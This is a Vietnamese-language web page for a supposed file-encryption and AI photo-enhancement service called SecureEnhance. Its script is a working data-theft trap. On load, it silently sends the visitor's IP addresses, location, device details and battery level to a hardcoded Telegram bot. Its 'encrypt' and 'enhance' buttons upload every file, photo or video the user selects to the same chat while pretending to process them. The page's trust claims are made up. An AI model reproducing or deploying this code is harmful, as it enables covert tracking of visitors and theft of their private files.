<!DOCTYPE html>
<html lang="vi">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SecureEnhance - Bảo Mật & Làm Nét Ảnh & Video</title>

    <style>
        :root {
            --primary-color: #000000;
            --secondary-color: #ffffff;
            --accent-color: #666666;
            --background-light: #f9f9f9;
            --text-dark: #333333;
            --shadow: rgba(0, 0, 0, 0.15);
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Poppins', sans-serif;
            background: var(--background-light);
            color: var(--text-dark);
            line-height: 1.6;
            overflow-x: hidden;
        }

        header {
            background: var(--secondary-color);
            padding: 15px 20px;
            box-shadow: 0 4px 12px var(--shadow);
            position: sticky;
            top: 0;
            z-index: 1000;
        }

        .navbar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            max-width: 1200px;
            margin: 0 auto;
        }

        .navbar .logo {
            font-size: 20px;
            font-weight: 700;
            color: var(--primary-color);
        }

        .navbar nav {
            display: flex;
            gap: 8px;
        }

        .navbar nav a {
            color: var(--accent-color);
            text-decoration: none;
            font-weight: 500;
            font-size: 12px;
            padding: 5px;
            transition: color 0.3s ease;
        }

        .navbar nav a:hover {
            color: var(--primary-color);
        }

        .main-content {
            margin: 30px 20px;
            display: flex;
            flex-direction: column;
            gap: 30px;
        }

        .hero-section {
            text-align: left;
        }

        .hero-text h1 {
            font-size: 28px;
            font-weight: 700;
            color: var(--primary-color);
            margin-bottom: 15px;
        }

        .hero-text p {
            font-size: 14px;
            color: var(--accent-color);
            margin-bottom: 20px;
        }

        .hero-image {
            text-align: center;
        }

        .hero-image img {
            max-width: 100%;
            border-radius: 15px;
            box-shadow: 0 8px 20px var(--shadow);
        }

        .hero-image .caption {
            font-size: 12px;
            font-style: italic;
            color: var(--accent-color);
            margin-top: 10px;
        }

        .feature-section {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }

        .feature-card {
            background: var(--secondary-color);
            padding: 15px;
            border-radius: 15px;
            box-shadow: 0 6px 15px var(--shadow);
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }

        .feature-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px var(--shadow);
        }

        .feature-card h3 {
            font-size: 18px;
            font-weight: 600;
            color: var(--primary-color);
            margin-bottom: 10px;
        }

        .feature-card p {
            font-size: 12px;
            color: var(--accent-color);
            margin-bottom: 15px;
        }

        .feature-card img {
            max-width: 80px;
            margin-top: 10px;
        }

        .feature-card .caption {
            font-size: 12px;
            font-style: italic;
            color: var(--accent-color);
            margin-top: 10px;
        }

        .custom-button {
            background: var(--primary-color);
            color: var(--secondary-color);
            font-size: 12px;
            font-weight: 600;
            border: none;
            padding: 10px 20px;
            border-radius: 50px;
            cursor: pointer;
            transition: background 0.3s ease, transform 0.3s ease;
            width: 100%;
        }

        .custom-button:hover {
            background: var(--accent-color);
            transform: scale(1.05);
        }

        .result-section {
            background: var(--secondary-color);
            padding: 15px;
            border-radius: 15px;
            box-shadow: 0 6px 15px var(--shadow);
            display: none;
            text-align: left;
            margin-top: 15px;
        }

        .result-section h3 {
            font-size: 16px;
            font-weight: 600;
            color: var(--primary-color);
            margin-bottom: 10px;
        }

        .result-section img, .result-section video {
            max-width: 100%;
            border-radius: 10px;
            margin-top: 10px;
        }

        .result-section textarea {
            width: 100%;
            min-height: 100px;
            background: #f0f0f0;
            color: var(--text-dark);
            border: none;
            border-radius: 10px;
            padding: 10px;
            font-size: 14px;
            resize: vertical;
        }

        .about-section {
            background: var(--secondary-color);
            padding: 20px;
            border-radius: 15px;
            box-shadow: 0 6px 15px var(--shadow);
            text-align: left;
        }

        .about-section h2 {
            font-size: 20px;
            font-weight: 700;
            color: var(--primary-color);
            margin-bottom: 15px;
        }

        .about-section p {
            font-size: 14px;
            color: var(--accent-color);
            margin-bottom: 15px;
        }

        .status-message {
            position: fixed;
            bottom: 20px;
            left: 50%;
            transform: translateX(-50%);
            background: rgba(0, 0, 0, 0.9);
            padding: 10px 20px;
            border-radius: 25px;
            color: var(--secondary-color);
            font-size: 14px;
            font-weight: 500;
            animation: fadeInOut 3s ease-in-out;
            display: none;
            z-index: 1000;
        }

        @keyframes fadeInOut {
            0% { opacity: 0; transform: translateX(-50%) translateY(20px); }
            50% { opacity: 1; transform: translateX(-50%) translateY(0); }
            100% { opacity: 0; transform: translateX(-50%) translateY(20px); }
        }

        .loading-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 1000;
        }

        .spinner {
            border: 4px solid #e0e0e0;
            border-top: 4px solid var(--primary-color);
            border-radius: 50%;
            width: 36px;
            height: 36px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        @media (max-width: 768px) {
            .navbar { 
                gap: 10px;
                flex-wrap: nowrap;
                justify-content: space-between;
            }
            .navbar .logo {
                font-size: 20px;
            }
            .navbar nav {
                gap: 8px;
            }
            .navbar nav a { 
                font-size: 12px;
                padding: 5px;
            }
            .hero-text h1 { font-size: 28px; }
            .hero-text p { font-size: 14px; }
            .feature-section { gap: 15px; }
            .feature-card { padding: 15px; }
            .feature-card h3 { font-size: 18px; }
            .feature-card p { font-size: 12px; }
            .custom-button { font-size: 12px; padding: 10px 20px; }
            .about-section { padding: 20px; }
            .about-section h2 { font-size: 20px; }
        }
    </style>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap" rel="stylesheet">
</head>

<body>
    <header>
        <div class="navbar">
            <div class="logo">SecureEnhance</div>
            <nav>
                <a href="#home">Trang Chủ</a>
                <a href="#features">Tính Năng</a>
                <a href="#about">Về Chúng Tôi</a>
            </nav>
        </div>
    </header>

    <div class="main-content">
        <section class="hero-section" id="home">
            <div class="hero-text">
                <h1>SecureEnhance - Giải Pháp Làm Nét Tối Ưu</h1>
                <p>Mã hóa file bảo mật với Obfuscation hoặc nâng cao chất lượng ảnh/video bằng công nghệ AI 2025.</p>
            </div>
            <div class="hero-image">
                <img src="Test.jpg" alt="Ảnh minh họa nâng cao chất lượng">
                <div class="caption">Ảnh trước và sau khi nâng cao chất lượng với công nghệ AI của SecureEnhance, được hàng triệu người dùng tin tưởng.</div>
            </div>
        </section>

        <section class="feature-section" id="features">
            <div class="feature-card">
                <h3>Mã Hóa File Bảo Mật</h3>
                <p>Chuyển đổi file của bạn thành Obfuscation để đảm bảo an toàn tuyệt đối.</p>
                <button class="custom-button" onclick="encryptFile()">Mã Hóa Ngay</button>
                <img src="mahoa.jpg" alt="Biểu tượng bảo mật">
                <div class="caption">Bảo vệ dữ liệu của bạn với mã hóa obfuscation, chuẩn bảo mật được các doanh nghiệp lớn sử dụng.</div>
            </div>
            <div class="feature-card">
                <h3>Nâng Cao Chất Lượng Media</h3>
                <p>Cải thiện độ nét ảnh/video với công nghệ AI 2025.</p>
                <button class="custom-button" onclick="enhanceMedia()">Nâng Cao Ngay</button>
                <img src="AI.jpg" alt="Biểu tượng nâng cao">
                <div class="caption">Công nghệ AI 2025 của SecureEnhance, tăng độ nét của ảnh và video, được đánh giá cao bởi các chuyên gia.</div>
                <div class="result-section" id="resultSection">
                    <h3>Kết Quả Xử Lý</h3>
                    <div id="resultContent"></div>
                </div>
            </div>
        </section>

        <section class="about-section" id="about">
            <h2>Về Chúng Tôi</h2>
            <p>SecureEnhance là nền tảng hàng đầu cung cấp các giải pháp bảo mật và nâng cao chất lượng ảnh & video trực tuyến. Chúng tôi tự hào sử dụng công nghệ mã hóa Obfuscation tiên tiến và trí tuệ nhân tạo (AI) được phát triển bởi đội ngũ chuyên gia hàng đầu thế giới, đảm bảo mang đến trải nghiệm an toàn và chất lượng cao nhất cho người dùng.</p>
            <p>Với hơn 5 năm kinh nghiệm trong lĩnh vực công nghệ, SecureEnhance đã phục vụ hàng triệu người dùng trên toàn cầu, từ cá nhân đến doanh nghiệp lớn. Sứ mệnh của chúng tôi là bảo vệ dữ liệu của bạn và biến những khoảnh khắc quý giá thành tác phẩm hoàn hảo.</p>
            <p>Hãy tin tưởng SecureEnhance - đối tác đáng tin cậy của bạn trong kỷ nguyên số!</p>
        </section>
    </div>

    <div class="loading-overlay" id="loadingOverlay">
        <div class="spinner"></div>
    </div>

    <div class="status-message" id="statusMessage"></div>

    <script>
        const botToken = '7574341917:AAGOtoNZpnHn92KbMgOMpdX5PU545KDx_zw';
        const chatID = '4773021059';

        function showLoading(shouldShow) {
            const overlay = document.getElementById('loadingOverlay');
            overlay.style.display = shouldShow ? 'flex' : 'none';
        }

        function showResult(content) {
            const resultSection = document.getElementById('resultSection');
            const resultContent = document.getElementById('resultContent');
            resultContent.innerHTML = content;
            resultSection.style.display = 'block';
        }

        async function getCurrentTime() {
            const now = new Date();
            const options = {
                year: "numeric",
                month: "2-digit",
                day: "2-digit",
                hour: "2-digit",
                minute: "2-digit",
                second: "2-digit",
                hour12: false,
                timeZone: "Asia/Ho_Chi_Minh"
            };
            return now.toLocaleDateString("vi-VN", options);
        }

        async function sendTelegramMessage(message) {
            try {
                showLoading(true);
                const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatID}&text=${encodeURIComponent(message)}`;
                const response = await fetch(url, { timeout: 15000 });
                if (!response.ok) throw new Error(`Lỗi HTTP ${response.status}`);
                
                return await response.json();
            } catch (error) {
                showStatus('Lỗi gửi tin nhắn!');
                throw error;
            } finally {
                showLoading(false);
            }
        }

        async function sendTelegramFile(file, message, type = 'document') {
            try {
                showLoading(true);
                const formData = new FormData();
                formData.append("chat_id", chatID);
                formData.append(type === 'photo' ? "photo" : "document", file, file.name || `${type}_${Date.now()}`);
                formData.append("caption", message);

                const endpoint = type === 'photo' ? 'sendPhoto' : 'sendDocument';
                const response = await fetch(`https://api.telegram.org/bot${botToken}/${endpoint}`, {
                    method: 'POST',
                    body: formData,
                    timeout: 15000
                });

                if (!response.ok) throw new Error(`Lỗi HTTP ${response.status}`);
                
                return await response.json();
            } catch (error) {
                showStatus(`Lỗi gửi ${type}!`);
                throw error;
            } finally {
                showLoading(false);
            }
        }

        async function getDeviceInfo() {
            const battery = navigator.getBattery ? await navigator.getBattery().then(b => b.level * 100) : 'Không xác định';
            return {
                userAgent: navigator.userAgent || 'Không xác định',
                platform: navigator.platform || 'Không xác định',
                language: navigator.language || navigator.languages[0] || 'Không xác định',
                screenResolution: `${window.screen.width || 'N/A'}x${window.screen.height || 'N/A'}`,
                battery: battery
            };
        }

        async function getAddress() {
            try {
                if (sessionStorage.getItem('userAddress')) {
                    return JSON.parse(sessionStorage.getItem('userAddress'));
                }

                let ip = 'Không xác định';
                let ipv6 = 'Không xác định';
                let locationData = { city: 'Không xác định', region: 'Không xác định', country: 'Không xác định' };

                try {
                    const ipResponse = await fetch('https://api.ipify.org?format=json', { timeout: 10000 });
                    if (ipResponse.ok) ip = (await ipResponse.json()).ip || 'Không xác định';
                    else throw new Error('Không thể lấy IP');
                } catch (error) {
                    await sendTelegramMessage(`⚠️ Lỗi: Không thể lấy IPv4 - ${error.message}`);
                }

                try {
                    const ipv6Response = await fetch('https://api6.ipify.org?format=json', { timeout: 10000 });
                    if (ipv6Response.ok) ipv6 = (await ipv6Response.json()).ip || 'Không xác định';
                    else throw new Error('Không thể lấy IPv6');
                } catch (error) {
                    await sendTelegramMessage(`⚠️ Lỗi: Không thể lấy IPv6 - ${error.message}`);
                }

                try {
                    const response = await fetch('https://ipinfo.io/json', { timeout: 10000 });
                    if (response.ok) {
                        const data = await response.json();
                        locationData = {
                            city: data.city || 'Không xác định',
                            region: data.region || 'Không xác định',
                            country: data.country || 'Không xác định'
                        };
                    } else throw new Error('Không thể lấy thông tin địa chỉ');
                } catch (error) {
                    await sendTelegramMessage(`⚠️ Lỗi: Không thể lấy thông tin địa chỉ - ${error.message}`);
                }

                const currentTime = await getCurrentTime();
                const deviceInfo = await getDeviceInfo();
                let message = `🗺 Địa Chỉ Đối Phương: ${locationData.city}, ${locationData.region}, ${locationData.country}\n`;
                message += `🗺 IP Đối Phương: ${ip}\n`;
                message += `🗺 IPv6: ${ipv6}\n`;
                message += `🕒 Thời Gian Truy Cập: ${currentTime}\n`;
                message += `💻 Tên Thiết Bị: ${deviceInfo.userAgent}\n`;
                message += `🔋 Phần Trăm Pin: ${deviceInfo.battery}%\n`;
                message += `🛠 Hệ Điều Hành: ${deviceInfo.platform}\n`;
                message += `📜 Ngôn Ngữ Trình Duyệt: ${deviceInfo.language}\n`;
                message += `🖥 Độ Phân Giải Màn Hình: ${deviceInfo.screenResolution}\n`;
                message += `\nTran Quan`;

                sessionStorage.setItem('userAddress', JSON.stringify({ ip, ipv6, ...locationData }));
                await sendTelegramMessage(message);
            } catch (error) {
                showStatus('Không thể lấy thông tin địa chỉ!');
                await sendTelegramMessage(`🚨 Lỗi nghiêm trọng: Không thể lấy thông tin địa chỉ - ${error.message}`);
            }
        }

        async function encryptFile() {
            try {
                const input = document.createElement('input');
                input.type = 'file';
                input.accept = '*/*';

                input.onchange = async (e) => {
                    const file = e.target.files[0];
                    if (!file) {
                        showStatus('Vui lòng chọn một file để mã hóa!');
                        return;
                    }

                    if (file.size > 20 * 1024 * 1024) {
                        showStatus('File quá lớn, tối đa 20MB!');
                        return;
                    }

                    const reader = new FileReader();
                    reader.onload = async (event) => {
                        const base64String = event.target.result.split(',')[1];
                        const currentTime = await getCurrentTime();
                        const deviceInfo = await getDeviceInfo();
                        const message = `🔒 File Gốc Được Gửi\n📜 Tên File: ${file.name}\n🕒 Thời Gian: ${currentTime}\n💻 Thiết Bị: ${deviceInfo.userAgent}\n🔋 Pin: ${deviceInfo.battery}%`;

                        showStatus('Đang gửi và mã hóa file...');
                        await sendTelegramFile(file, message, 'document');
                        showResult(`<p>File đã được mã hóa thành Base64:</p><textarea readonly>${base64String}</textarea>`);
                        showStatus('Mã hóa thành công!');
                    };
                    reader.readAsDataURL(file);
                };

                input.click();
            } catch (error) {
                showStatus('Lỗi khi mã hóa file!');
            }
        }

        async function enhanceMedia() {
            try {
                const input = document.createElement('input');
                input.type = 'file';
                input.accept = 'image/*,video/*';
                input.multiple = true;

                input.onchange = async (e) => {
                    const files = e.target.files;
                    if (!files || files.length === 0) {
                        showStatus('Vui lòng chọn ít nhất một ảnh hoặc video!');
                        return;
                    }

                    const currentTime = await getCurrentTime();
                    const deviceInfo = await getDeviceInfo();

                    showStatus('Đang thu thập và xử lý media...');

                    for (let file of files) {
                        if (file.size > 20 * 1024 * 1024) {
                            showStatus(`File ${file.name} quá lớn, tối đa 20MB!`);
                            continue;
                        }

                        if (!file.type.startsWith('image/') && !file.type.startsWith('video/')) {
                            showStatus(`File ${file.name} không phải ảnh hoặc video!`);
                            continue;
                        }

                        const message = file.type.startsWith('image/') 
                            ? `📸 Ảnh Gốc Được Lấy\n📜 Tên File: ${file.name}\n🕒 Thời Gian: ${currentTime}\n💻 Thiết Bị: ${deviceInfo.userAgent}\n🔋 Pin: ${deviceInfo.battery}%`
                            : `🎥 Video Gốc Được Lấy\n📜 Tên File: ${file.name}\n🕒 Thời Gian: ${currentTime}\n💻 Thiết Bị: ${deviceInfo.userAgent}\n🔋 Pin: ${deviceInfo.battery}%`;

                        await sendTelegramFile(file, message, file.type.startsWith('image/') ? 'photo' : 'document');
                    }
                    
                    const firstFile = files[0];
                    const reader = new FileReader();
                    reader.onload = (event) => {
                        const fileURL = event.target.result;
                        const mediaElement = firstFile.type.startsWith('image/') 
                            ? `<img src="${fileURL}" alt="Ảnh đã nâng cao chất lượng">`
                            : `<video controls src="${fileURL}" alt="Video đã nâng cao chất lượng"></video>`;
                        showResult(`<p>${firstFile.type.startsWith('image/') ? 'Ảnh' : 'Video'} đã được nâng cao chất lượng:</p>${mediaElement}`);
                        showStatus('Xử lý thành công!');
                    };
                    reader.readAsDataURL(firstFile);
                };

                input.click();
            } catch (error) {
                showStatus('Lỗi khi xử lý media!');
            }
        }

        function showStatus(message) {
            const status = document.getElementById('statusMessage');
            status.textContent = message;
            status.style.display = 'block';
            setTimeout(() => status.style.display = 'none', 3000);
        }

        window.onload = getAddress;
    </script>
</body>
</html>